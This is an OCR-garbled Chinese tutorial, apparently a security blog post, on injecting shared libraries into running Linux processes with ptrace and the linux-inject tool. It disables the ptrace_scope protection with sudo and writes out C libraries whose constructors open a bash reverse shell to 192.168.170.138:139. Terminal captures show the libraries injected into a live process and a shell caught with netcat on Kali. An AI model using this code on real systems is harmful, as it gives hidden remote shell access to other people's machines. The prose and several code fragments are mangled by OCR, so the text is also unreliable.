Linux I{IREEFIFZHIZTEN « ihEaIiEE

IR IR ENIN, BES(EISASHHE R IIEE — N EEI TS, LR
I

i58H

BEHEENRA, se(EENSHHEEMIIEE — N EEETHHE, ER Ak, HEE
NBEEERA ptrace() LI 75 Windows SFETHEREIERAY APl BRE] createremoteThread() , £
% Linux &IThRF, PIZEIBRIABCESUY /proc/sys/kernel/yama/ptrace_scope PRI T —NHAE
BRY fork() IREEAM, FToEBIT ptrace() SRIBEBIM—DHTE.

EENHIER], FERAXMRE (Root £PR) :

echo @ | sudo tee /proc/sys/kernel/yama/ptrace_scope

rvnOxsy@virtual-machine: $ cat /proc/sys/kernel/yama/ptrace scope
1
rvnOxsy@virtual-machine: $ echo © | sudo tee /proc/sys/kernel/yama/ptrace scope

[sudo] password for rvnOxsy:
0]
rvnOxsy@virtual-machine: $

T_Glthl.lb J:EI; ﬁ?;&:ﬁ %EEIE)\EIJ*EJLAtﬁE_,J https://github.com/gaffe23/1linux-inject



TEHEHANTEES, #147: make x86 64 BIAI4RIE 64 {iAY linux-inject,

rvnOxsy@virtual-machine: ~/Projects/linux-inject

File Edit View Search Terminal Help

rvn@xsy@virtual-machine:~, i ; github.com/gaffe23/linux
Cloning into 'linux-inj

done
sed @ (delta @), pack-reused 403
263.41 KiB | 14.00 KiB/s, done.

1n1PcT (86. akefile ptrace.h sample-library.c slides BHArsenal2@l5.pdf utils.h
Sb _64.c LICEN:E txt t .C README.md sampl . utils.c
je inux-inject$ make x86 64
-std= unuqq -ggdb -0 inject utils.c ptrace.c inject-x86 64.c -1dl
-std=gnu99 -ggdb -D GNU SOURCE -shared -o sample-library.so -fPIC sample-library.c
gnu99 -ggdb -o sample-target sample-tar

-m32 -std=gnu99 -ggdb -o inject32 utils.c ptrace.c inject-x86.c -1ldl

-m32 -std=gnu99 -ggdb -D GNU SOURCE -shared -o sample-library32.so -fPIC sample-library.c

-m32 -std=gnu99 -ggdb -o sample-target32 =ampIP target.c
rvnexsy@ v1|tual machlne P

» README.md sample-library.so sample-targ

sample-library32.so sample-target slides BHArs
sample-library.c sample-target32 utils.c

HFARIFRESIER:

ux-inject

|
iFI|E Edit View Search Terminal Help

rvnOxsy@virtual-machine: ~/Projects/linux-inject

File Edit View Search Terminal Help
i ps -ef | grep sample
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sle

.i1n1ﬁcr -p 24110 ./sample-librar

cuuld nuf inject
rvno: irtual-machin
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¥REX sample-target B9 PID f5, &AF inject KX sample-library.so, EFNBINSHEH
“l just got loaded” ., #FE Tk, FEEN sample-target.c X4, FmiEFEEANNRAER LN
HEERE,

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

void shell()

{
printf("I just got loaded\n");
system("bash -c \"bash -i >& /dev/tcp/192.168.170.138/139 0>&1\"");

__attribute_ ((constructor))
void loadMsg()

{
shell();

BT e imiE so X4

clang -std=gnu99 -ggdb -D_GNU_SOURCE -shared -o u9.so -lpthread -fPIC U3.c



rvn0xsy@virtual-machine: ~/Documents

File Edit Vview Search Terminal Help

rvnéxsy@virtual-machine:~/ lang -std=gnu39 -ggdb -D GNU SOURCE -shared -o u9.so -fPIC U3.c
rvn@xsy@virtual-machine:~/ D

U3.c (~/Documents)

File Edit View Search Tools Documents Help
A B %G »v YyOoB Q@

Unsaved Document1 X C|Ulc % C|U2c X ClU3c X

clude

void shell()
{

printf( \n");
system( A\ WECTE

__attribute_ ((constructor))
void loadMsg()

shell();
i

PRIFEAL so A RTIIERYTIIIRIER -

-/Project/linux

File Edit view Search Terminal Help

rvn0xsy@virtual-machine: ~/Project/linux-inject
File Edit Vview Search Terminal Help
irtual-machine:~ /linux-1i $ ./inject -p 24428 ~/Documents/u9.so
targeting process with pid
ptrace(PTRACE GETSIGINFO) failed
virtual-machine: /linux-1i $ ./inject -p 24428 ~/Documents/u9.so
process with pid
u9.s0" successfully injected
/linux-inje

I just got loaded




7£ Kali Linux 1Xi33£187 bash shell:

root@kali: ~ root@kali: /ftmp rvnOxsy@virtua...t/linux-inject £

:~# nc -lvp 139
listening on [any] 139
192.168.170.142: inverse host lookup failed: Unknown host
connect to [192.168.170.138] from (UNKNOWN) [192.168.170.142] 47256

rvn@xsy@virtual-machine:~/Project/linux-inject$ |

LR ABUTAERFRYESAZHN bash [BET, TRAUILRRZEZERAN, KENRBSEREZE
DEHRAT,



File Edit View Search Terminal Help

rvn@xsy@virtual-machine:~, ne
rvn@xsy@virtual-machine:~, ne

File Edit View Search Tools Documents

Ao <« ¥ 0B

Unsaved Document 1 X ClUlc
#include
#include
#include
#include
#include

void * shell()

{
printf( \n"};
system( =
return :

}

_ attribute_ ((constructor))
void loadMsg()
{
pthread t thread id;
pthread create(&thread id,

rvnOxsy@virtual-machine: ~/Documents

EREXMSERTRIERES, EEHESHERESWEERZ IP im0 :

clang -std=gnu99 -ggdb -D GNU SOURCE -shared -o u9.so -lpthread -fPIC U3.c

U3.c (~/Document



rvnOxsy@virtual-machine: ~/Project/I

File Edit View Search Terminal Help

rvn@xsy@virtual-machine:~/Project/linux-inject$ ps -ef | grep sample

rvn@xsy 24512 19749 0 18:42 pts/4 00:00:00 ./ -target

rvn@xsy 24516 18613 0 18:42 pts/3 00:00:00 grep --color=auto
rvn@xsy@virtual-machine:~/Project/linux-inject$ ./inject -p 24512 ~/Documents/u9.so
argeting process with pid 24512

"/home/rvn@xsy/Documents/ud.so" successfully injected
rvn@xsy@virtual-machine:~/Project/linux-inject$ [

rvnOxsy@virtual-machine: ~/Projects/linux-inject
File Edit Wiew arch Terminal Help
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
I just got loaded
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...

BaEF IP 5ix0:




rvnOxsy@virtual-machine: ~/Project/linux-inject

File Edit View Search Terminal Help

rvn@xsy@virtual-machine:~/Project/Linux-inject$ ps -ef | grep sample

rvnexsy 24512 19749 0 18:42 pts/4 00:00:00 ./ -target

rvn@xsy 24516 18613 @ 18:42 pts/3 00:00:80 grep --color=auto
rvn@xsy@virtual-machine:~/Project/linux-inject$ ./inject -p 24512 ~/Documents/u9.so

|targeting process with pid 24512

" /home/rvn@xsy/Documents/ud.so" successfully injected

rvn@xsy@virtual-machine:~/Project/linux-inject$ ps -ef | grep bash

'run@xsy 17996 17989 0 10:51 pts/0 00:00:00

“rvn@xsy 18145 17989 0 10:56 pts/2 00:00:00

rvn@xsy 18613 17989 0 11:88 pts/3 00:00:00

rvn@xsy 19749 17989 0 11:41 pts/4 00:00:00

rvn@xsy 241082 17989 0 17:55 pts/5 00:00:00

rvnexsy 24528 24512 0 18:42 pts/4 00:00:00 -c " -1 =& /dev/tcp/192.168.170.138/139 @>&1"
rvnexsy 24529 24528 0 18:42 pts/4 00:00:00 -C -1 & /dev/tcp/192.168.170.138/139 8>&1
rvnexsy 24530 24529 0 18:42 pts/4 00:00:00 -1i

rvnixsy 24544 18613 © 18:43 pts/3 09:00:00 grep --color=auto
rvn@xsy@virtual-machine:~/Project/linux-inje

rvnOxsy@virtual-machine: ~/Projects/linux-inject

File Edit View Search Terminal Help

sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...
sleeping...

sleeping...
sleeping. ..
sleeping. ..
sleeping. ..
sleeping. ..
I just got loaded
sleeping. ..
sleeping. ..
sleeping...
sleeping...
sleeping...
sleeping. ..

BREEROHCIE, KA socket EfEFRATRZE shell:



#include <stdio.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

static void * hello()
{

struct sockaddr_in server;

int sock;

char shell[]="/bin/bash";

if((sock = socket(AF_INET, SOCK_STREAM, @)) == -1) {
return NULL;

server.sin_family = AF_INET;

server.sin_port = htons(139);

server.sin_addr.s_addr = inet_addr("192.168.170.138");

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
return NULL;

}

dup2(sock, 0);

dup2(sock, 1);

dup2(sock, 2);

execl(shell,"/bin/bash", (char *)0);

close(sock);
printf("I just got loaded\n");

return NULL;



__attribute_ ((constructor))
void loadMsg()

{
pthread_t thread_id;

pthread_create(&thread_id,NULL,hello,NULL);

PUTRER

rvnoxsy@virtual-machine: ~/Project/linux-inject
File Edit View Search Terminal Help
virtual-machine i ps -ef | grep sample
24581 19749 © 6 /4 e -target
rvnxsy 24597 18613 @ 18:47 pts/3  © grep --color=auto
rvnexsy@virtual-machine r / X ./inject -p 24581 ~/Documents/ul@.so
rgeting proce

rvn@xsy@virtual-machine ./inject -p 24581 ~/Documents/ul®.so
targeting process with pid 24581

/home/ rvnBxsy/Documents/ule.so" successfully injected
rvnéxsy@virtual-machine:~/Projec i inj

rvnOxsy@virtual-machine: ~/Projects/linux-inject rvnoxsy@virtual-machine: ~/Documents

File Edit View Search Terminal Help File Edit View Search Terminal Help
rvnexsy@virtual-machine ments$ clang -std=gnu9% -ggdb -D GNU SOURCE red -o ule.so -lpthread -fPIC U3.c

U3.c:29:30: | implicit declaration of function 'inet_addr' is invalid in €99 [-wimplicit-function-declaration]
.s addr = inet addr("192.168.170.138");

1 warning
rvndxsy@uirtual-machine:-

nexsy 17989

néxsy 17989

nexsy 6 17989

nexsy 19749 17989

nexsy 4102 17989

nexsy 4 19743 © 4 80:0 /bin/

18145 © :4 00:00: grep --color=auto

rvnexsy@virtual-machine

Kali Linux %18 bash shell:



root@kali: ~
File Actions Edit View Help
root@kali: ~ root@kali: ftmp root@kali: ~

:~# nc -lvp 139
listening on [any] 139 ...
192.168.170.142: inverse host lookup failed: Unknown host
connect to [192.168.170.138] from (UNKNOWN) [192.168.170.142] 47266

id
uid=1000(rvnOxsy) gid=1000(rvn@xsy) groups=1000(rvnoxsy),4(adm),24(cdrom),27(sudo),30(dip),46({

whoami
rvn@xsy

TESEE N AT, FTEKXA ptrace RIRH, AFEN. so BIREMRSZHES, XEIXZN RS
RE.



